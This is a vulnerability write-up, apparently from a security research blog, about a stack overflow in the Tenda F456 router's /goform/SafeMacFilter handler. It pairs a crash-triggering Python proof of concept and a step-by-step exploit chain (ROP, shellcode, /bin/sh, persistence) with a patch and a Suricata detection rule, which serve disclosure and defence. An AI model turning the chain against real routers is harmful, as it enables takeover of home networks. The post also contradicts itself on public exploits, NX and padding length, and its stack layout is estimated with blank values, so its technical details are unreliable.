home intel tenda-f456-safemacfilter-stack-overflow-cve-2026-7031
CVE Analysis 2026-04-26 · 8 min read

CVE-2026-7031: Stack Overflow in Tenda F456 fromSafeMacFilter

Tenda F456 1.0.0.5 exposes a stack-based buffer overflow in fromSafeMacFilter via the page parameter, allowing unauthenticated RCE over the LAN. CVSS 8.8.

#buffer-overflow#remote-code-execution#router-firmware#input-validation#network-service
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7031 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-7031Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7031 is a stack-based buffer overflow in the Tenda F456 router firmware version 1.0.0.5. The vulnerable endpoint is /goform/SafeMacFilter, handled by the function fromSafeMacFilter. The page query parameter is copied into a fixed-size stack buffer without any length validation, allowing a remote attacker on the local network — or, depending on WAN exposure, over the internet — to overwrite the saved return address and achieve arbitrary code execution at the privilege level of the httpd process (typically root on consumer routers).

CVSS 8.8 (HIGH) reflects network-reachable attack surface, no authentication required in default configurations, and full compromise of confidentiality, integrity, and availability. A public exploit exists at the time of disclosure.

Root cause: fromSafeMacFilter calls websGetVar to retrieve the attacker-controlled page parameter and passes the result directly to strcpy into a fixed 64-byte stack buffer with no length check.

Affected Component

The affected binary is httpd, the embedded HTTP server shipped with Tenda F456 firmware 1.0.0.5. The CGI dispatch table routes POST and GET requests to /goform/SafeMacFilter directly to fromSafeMacFilter. The function handles MAC address filtering configuration — it reads pagination state, MAC list entries, and filter mode from the request. The page parameter, intended to carry a small decimal page index, is the sink for the overflow.

Tenda's embedded web server pattern is consistent across their product line: websGetVar returns a raw pointer into the HTTP request body with no length enforcement, and callers are expected to validate length before copying. fromSafeMacFilter does not.

Root Cause Analysis

The following pseudocode is reconstructed from static analysis of Tenda httpd binaries sharing the same code patterns across the F-series product line. Variable names and struct fields are inferred from string references and calling conventions consistent with MIPS32 big-endian firmware.


// fromSafeMacFilter — handles POST /goform/SafeMacFilter
// Reconstructed pseudocode, Tenda F456 httpd 1.0.0.5

#define MAC_FILTER_BUF_SIZE  64
#define MAX_MAC_ENTRIES      16

typedef struct {
    char mac[18];       // "XX:XX:XX:XX:XX:XX\0"
    char desc[32];
    int  enabled;
} mac_entry_t;

int fromSafeMacFilter(webs_t wp, char *path, char *query) {
    char page_buf[64];          // stack allocation — fixed size
    char mode_buf[16];
    char mac_list[MAX_MAC_ENTRIES * sizeof(mac_entry_t)];

    int  page_num;
    char *page_param;
    char *mode_param;
    char *mac_param;

    // Retrieve attacker-controlled 'page' parameter from HTTP request
    page_param = websGetVar(wp, "page", "1");

    // BUG: no strlen check before strcpy — attacker controls length of page_param
    strcpy(page_buf, page_param);   // <-- OVERFLOW: stack smash if len(page_param) > 63

    // Retrieve and process filter mode — reached only if strcpy doesn't fault
    mode_param = websGetVar(wp, "filterMode", "0");
    strncpy(mode_buf, mode_param, sizeof(mode_buf) - 1);

    page_num = atoi(page_buf);

    // paginate MAC entries from NVRAM
    mac_filter_load_page(page_num, mac_list, MAX_MAC_ENTRIES);
    mac_filter_render_json(wp, mac_list, page_num);

    return 0;
}

The call to strcpy(page_buf, page_param) is the overflow site. page_buf is 64 bytes on the stack. websGetVar returns a pointer directly into the parsed HTTP body — there is no maximum length enforced by the web server layer. An attacker sends a page value of arbitrary length; strcpy writes until a null terminator, overwriting everything above page_buf on the stack frame: saved registers, the saved frame pointer, and the saved return address ($ra on MIPS).


// websGetVar internals — no length enforcement
char *websGetVar(webs_t wp, char *key, char *default_val) {
    // Walks wp->query_params linked list
    // Returns pointer directly into request buffer on match
    // No copy, no truncation — raw pointer into attacker data
    param_t *p = wp->query_params;
    while (p) {
        if (strcmp(p->key, key) == 0)
            return p->value;   // raw attacker-controlled pointer
        p = p->next;
    }
    return default_val;
}

Memory Layout

The stack frame layout of fromSafeMacFilter on MIPS32 (estimated from function prologue patterns in comparable Tenda httpd builds):


// fromSafeMacFilter stack frame layout (MIPS32, grows downward)
struct fromSafeMacFilter_frame {
    /* +0x000 */ char     mac_list[16 * 52];   // 832 bytes — mac_entry_t array
    /* +0x340 */ char     mode_buf[16];
    /* +0x350 */ char     page_buf[64];        // <-- strcpy target, overflow starts here
    /* +0x390 */ int      page_num;
    /* +0x394 */ char    *page_param;
    /* +0x398 */ char    *mode_param;
    /* +0x39c */ char    *mac_param;
    /* +0x3a0 */ uint32_t saved_s0;
    /* +0x3a4 */ uint32_t saved_s1;
    /* +0x3a8 */ uint32_t saved_fp;            // saved frame pointer
    /* +0x3ac */ uint32_t saved_ra;            // saved return address — overwrite target
};
// Total frame size: ~0x3b0 bytes

STACK STATE BEFORE OVERFLOW (page="1"):
  [sp+0x350] page_buf[0..63]  = "1\x00" + 0x3e bytes garbage
  [sp+0x390] page_num         = 0x00000001
  [sp+0x3a0] saved_s0         = 
  [sp+0x3a4] saved_s1         = 
  [sp+0x3a8] saved_fp         = 
  [sp+0x3ac] saved_ra         = 

STACK STATE AFTER OVERFLOW (page = 'A'*68 + ):
  [sp+0x350] page_buf[0..63]  = "AAAA...AAAA" (64 bytes, fills buffer)
  [sp+0x390] page_num         = 0x41414141    (OVERWRITTEN)
  [sp+0x3a0] saved_s0         = 0x41414141    (OVERWRITTEN)
  [sp+0x3a4] saved_s1         = 0x41414141    (OVERWRITTEN)
  [sp+0x3a8] saved_fp         = 0x41414141    (OVERWRITTEN)
  [sp+0x3ac] saved_ra         =   <-- RCE

The offset from the start of page_buf to saved_ra is 0x5c bytes (92 bytes). An attacker needs 92 bytes of padding followed by a 4-byte MIPS target address to redirect control flow. With no stack canaries and no ASLR on the target (standard for this class of consumer router), exploitation is deterministic.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Identify target — scan for /goform/SafeMacFilter on port 80 (LAN default)
   or exposed WAN management interface.

2. Confirm firmware version via /goform/GetRouterStatus or banner fingerprinting.

3. Craft HTTP POST to /goform/SafeMacFilter with oversized 'page' parameter:
     page = <92 bytes padding> + <4-byte MIPS target>
   No authentication required in default configuration.

4. strcpy in fromSafeMacFilter copies full attacker string onto stack,
   overwriting saved_ra at sp+0x3ac with the attacker-supplied address.

5. fromSafeMacFilter returns — jr $ra executes with attacker value in $ra.

6. No stack canary, no NX enforcement, no ASLR on target firmware:
   - Option A: ROP chain using gadgets in httpd .text segment (NX present)
   - Option B: Return to shellcode on stack (if NX absent — common on MIPS)
   - Option C: Return to fixed libc/uclibc gadget to exec /bin/sh

7. Shellcode or ROP payload executes as root (httpd privilege on Tenda devices).
   Persist via NVRAM write or drop implant to /tmp (tmpfs, survives until reboot).

A minimal proof-of-concept HTTP request demonstrating the overflow trigger:


#!/usr/bin/env python3
# CVE-2026-7031 — Tenda F456 fromSafeMacFilter stack overflow PoC
# CypherByte research — triggers crash only, no shellcode

import requests
import struct

TARGET   = "http://192.168.0.1"
ENDPOINT = "/goform/SafeMacFilter"

# 92 bytes to reach saved_ra, then 0xDEADBEEF to confirm PC control
PADDING      = b"A" * 92
RA_OVERWRITE = struct.pack(">I", 0xDEADBEEF)   # MIPS big-endian
page_payload = (PADDING + RA_OVERWRITE).decode("latin-1")

data = {
    "page":       page_payload,
    "filterMode": "0",
    "macList":    "",
}

print(f"[*] Sending {len(page_payload)}-byte page parameter to {ENDPOINT}")
try:
    r = requests.post(TARGET + ENDPOINT, data=data, timeout=5)
    print(f"[*] Response: {r.status_code} (no crash yet — check serial/UART)")
except requests.exceptions.ConnectionError:
    print("[+] Connection reset — httpd likely crashed, overflow triggered")

Patch Analysis

The correct remediation is to replace the unchecked strcpy with a bounded copy and validate that the parameter contains only the expected content (a small decimal integer). Two layers of defense are appropriate:


// BEFORE (vulnerable — Tenda F456 1.0.0.5):
char page_buf[64];
char *page_param = websGetVar(wp, "page", "1");
strcpy(page_buf, page_param);   // no bounds check
page_num = atoi(page_buf);

// AFTER (patched):
char page_buf[64];
char *page_param = websGetVar(wp, "page", "1");

// Layer 1: hard length check before any copy
if (strlen(page_param) >= sizeof(page_buf)) {
    websError(wp, 400, "Invalid parameter");
    return -1;
}

// Layer 2: bounded copy — belt and suspenders
strncpy(page_buf, page_param, sizeof(page_buf) - 1);
page_buf[sizeof(page_buf) - 1] = '\0';

// Layer 3: semantic validation — page must be a positive integer
page_num = atoi(page_buf);
if (page_num <= 0 || page_num > MAX_PAGES) {
    websError(wp, 400, "Invalid page number");
    return -1;
}

The systemic fix requires auditing every websGetVar call site in httpd. The pattern of websGetVarstrcpy into a fixed stack buffer appears in multiple fromXxx handlers across Tenda's F-series codebase; CVE-2026-7031 is likely one instance of a broader class of vulnerabilities. Tenda should additionally enable stack canaries (-fstack-protector-strong) and ASLR in the build system, which would not prevent exploitation but would significantly raise the bar.

Detection and Indicators

Network-based detection: alert on HTTP POST requests to /goform/SafeMacFilter where the page parameter body exceeds 32 bytes. A Snort/Suricata rule skeleton:


alert http any any -> $HOME_NET 80 (
    msg:"CVE-2026-7031 Tenda F456 SafeMacFilter page overflow";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/goform/SafeMacFilter";
    http.request_body; content:"page="; distance:0;
    pcre:"/page=[^\&]{65,}/";
    classtype:attempted-admin;
    sid:20267031; rev:1;
)

Host-based indicators (if serial/UART access is available): httpd crash with PC=0x41414141 or similar non-canonical address in the exception register dump. On a running device, unexpected reboots after requests to /goform/SafeMacFilter are a strong signal of exploitation attempts.

Remediation

For device owners: Update to firmware 1.0.0.6 or later when released by Tenda. Until a patch is available, disable remote web management and restrict LAN-side access to the management interface to trusted hosts only via MAC filtering (note: the vulnerable endpoint is itself in the MAC filter handler). If the device is exposed on WAN, disable WAN management immediately.

For Tenda: A global audit of all websGetVar call sites is required. Every call that feeds a fixed-size stack or heap buffer through strcpy, sprintf, or strcat without a prior length check is a candidate vulnerability. Enable -fstack-protector-strong, link with RELRO, and enforce ASLR via kernel configuration in the next firmware release cycle. Consider introducing a safe wrapper, websGetVarBounded(wp, key, default, max_len), that enforces length at the retrieval point rather than relying on callers to validate.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →